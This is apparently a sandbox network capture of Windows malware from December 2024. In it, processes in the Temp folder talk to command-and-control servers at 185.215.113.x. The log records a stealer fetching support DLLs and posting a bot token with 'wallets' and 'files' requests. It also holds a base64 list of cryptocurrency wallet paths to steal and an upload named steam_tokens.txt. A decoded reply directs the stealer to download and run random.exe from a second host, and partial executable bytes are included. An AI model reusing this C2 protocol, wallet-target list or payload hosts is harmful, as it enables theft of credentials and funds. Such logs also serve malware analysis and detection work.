Dec 24, 2024 12:40:26.629827976 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 24, 2024 12:40:27.318968058 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:40:27.753427029 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 24, 2024 12:40:28.176969051 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHII Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 12:40:29.804621935 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:40:29.877243042 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"wallets------IEBAAFCAFCBKFHJJJKKF--
Dec 24, 2024 12:40:30.314934015 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 24, 2024 12:40:30.510034084 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 2d 2d 0d 0a Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="message"files------DBFCBGCGIJKJKECAKEGC--
Dec 24, 2024 12:40:30.947298050 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:40:30.961059093 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file"------GDBFHDHJKKJDHJJJJKEG--
Dec 24, 2024 12:40:31.918699026 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:40:31.946158886 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="message"ybncbhylepme------HDGCFHIDAKECFHIEBFCG--
Dec 24, 2024 12:40:32.391590118 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49909	185.215.113.16	80	6224	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:40:32.516269922 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 24, 2024 12:40:33.851434946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 24 Dec 2024 11:40:32 GMT Content-Type: application/octet-stream Content-Length: 3228160 Last-Modified: Tue, 24 Dec 2024 10:58:29 GMT Connection: keep-alive ETag: "676a93d5-314200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP1@11@Wk\|01,01 @.rsrc@.idata @opilsovf**@xjprhixb@11@.taggant0P1" 1@
Dec 24, 2024 12:40:33.851480961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:40:33.851490974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:40:33.851624012 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 24, 2024 12:40:33.851634979 CET	1236	IN	Data Raw: 4d ed 3c 01 d5 15 85 f4 56 14 ad 98 53 49 98 0c 4d ef cc ab f0 97 e3 c3 59 d9 f8 85 10 6d 5d b3 11 15 05 f3 53 d1 ac 2b 04 53 af c3 f9 56 98 0c 4d ef cc ab 94 97 e3 c3 59 c1 fe 85 10 6d 3d b3 11 15 05 53 54 d1 ac 2b 64 50 af c3 f9 56 98 0c 4d ef Data Ascii: M<VSIMYm]S+SVMYm=ST+dPVMYm3T+DPVMYmT+PVMDYmsU+PVMlYmU+PVMYImU+PVM
Dec 24, 2024 12:40:33.851644039 CET	1236	IN	Data Raw: 94 90 e3 c3 59 f1 ff 85 10 6d 9d af 11 15 05 b3 41 d1 ac 2b c4 54 af c3 f9 56 98 0c 4d ef a0 ab 8c 90 e3 c3 59 1d f3 85 10 6d 7d ae 11 15 05 13 42 d1 ac 2b 24 54 af c3 f9 56 98 0c 4d ef a0 ab 84 90 e3 c3 59 71 fe 85 10 6d 5d ae 11 15 05 f3 42 d1 Data Ascii: YmA+TVMYm}B+$TVMYqm]B+TVMYm=SC+dUVMYAm3C+DUVMPYmC+UVM@YmsD+UVMpYmD
Dec 24, 2024 12:40:33.851676941 CET	1236	IN	Data Raw: 84 59 af c3 f9 56 98 0c 4d ef a0 ab 94 92 e3 c3 59 f9 fb 85 10 6d bd aa 11 15 05 d3 70 d1 ac 2b e4 59 af c3 f9 56 98 0c 4d ef d4 ab 8c 92 e3 c3 59 e9 fd 85 10 6d 9d aa 11 15 05 b3 70 d1 ac 2b c4 59 af c3 f9 56 98 0c 4d ef dc ab a8 92 e3 c3 59 a1 Data Ascii: YVMYmp+YVMYmp+YVMYm}q+$YVM\Yym]q+YVMHYm=Sr+d^VMDYm3r+D^VMpYmr+^VMdY
Dec 24, 2024 12:40:33.851689100 CET	1236	IN	Data Raw: 10 6d fd a1 11 15 05 93 6e d1 ac 2b a4 a2 af c3 f9 56 98 0c 4d ef a0 ab 6c 8e e3 c3 59 e9 fe 85 10 6d dd a1 11 15 05 73 6f d1 ac 2b 84 a2 af c3 f9 56 98 0c 4d ef d4 ab 64 8e e3 c3 59 91 fe 85 10 6d bd a1 11 15 05 d3 6f d1 ac 2b e4 a2 af c3 f9 56 Data Ascii: mn+VMlYmso+VMdYmo+VMYmo+VM$Yim}`+$VMY!m]`+VMYm=Sa+dVMYm3a+DV
Dec 24, 2024 12:40:33.851799965 CET	1236	IN	Data Raw: 4d 88 ef c7 57 14 51 c4 d5 15 1d 2b b4 00 ae c3 f9 56 98 0c 4d 49 98 0c 4d 49 98 0c 4d 49 98 0c 4d 8e e7 c7 58 d9 2f 84 10 90 67 d2 d5 54 61 0f 4d c0 59 2f c7 8e bf 4d d7 11 62 c5 84 10 e0 c3 c0 6d 3b d4 13 15 2e 07 15 63 e3 cb 11 e1 d9 a9 0c c3 Data Ascii: MWQ+VMIMIMIMX/gTaMY/Mbm;.cmFU&nTF@bSIMIM!SIMIMY/3d+QNWMIMY/3lh\FU&aMIMIMIMY/O
Dec 24, 2024 12:40:33.851814032 CET	1236	IN	Data Raw: 10 15 ad 93 8d d0 80 0a d6 4d ac 93 89 c8 80 0a d6 6d af 2b f5 05 ae c3 8b c0 78 46 55 0d 62 ca 90 13 e0 c3 93 1f dc b1 28 8e 1b 5b d3 8e 6f 40 1b 15 dd c3 10 e7 dc 4e ca 19 21 01 34 2e 6c 46 51 19 21 3b 30 e2 e1 91 c1 6d 8e 6d 12 15 2e 07 09 8e Data Ascii: Mm+xFUb([o@N!4.lFQ!;0mm.R'WY$7Yl&(pNtnm{hMIMIMIMY/Mbm.cFU&nY/K!/=O0U[dA
Dec 24, 2024 12:40:33.971118927 CET	1236	IN	Data Raw: 10 88 e3 2b 57 d0 8d c0 0f c2 6c 93 f6 0a de 84 68 6d af 4b 12 15 2e 07 15 52 e3 3f 11 15 ad c3 8d d0 84 49 d6 75 5b 84 7f 8c e3 27 8e d0 8c 90 e8 75 51 80 10 ed d0 45 d7 15 85 59 82 14 ad 46 55 09 20 03 8e d0 84 90 e4 33 85 b1 88 14 ad 60 31 93 Data Ascii: +WlhmK.R?Iu['uQEYFU 3`1QNaHY`&(pi1$`U3h_OMf(cMIM!e&VMIMIMgMIMY/giFU&nIMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49926	185.215.113.206	80	6224	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:40:39.507112980 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKJKJDGCGDBGDHIJKJE--
Dec 24, 2024 12:40:41.377100945 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49986	185.215.113.43	80	6416	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:41:05.379551888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 24, 2024 12:41:06.722275019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 24 Dec 2024 11:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49993	185.215.113.43	80	6416	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
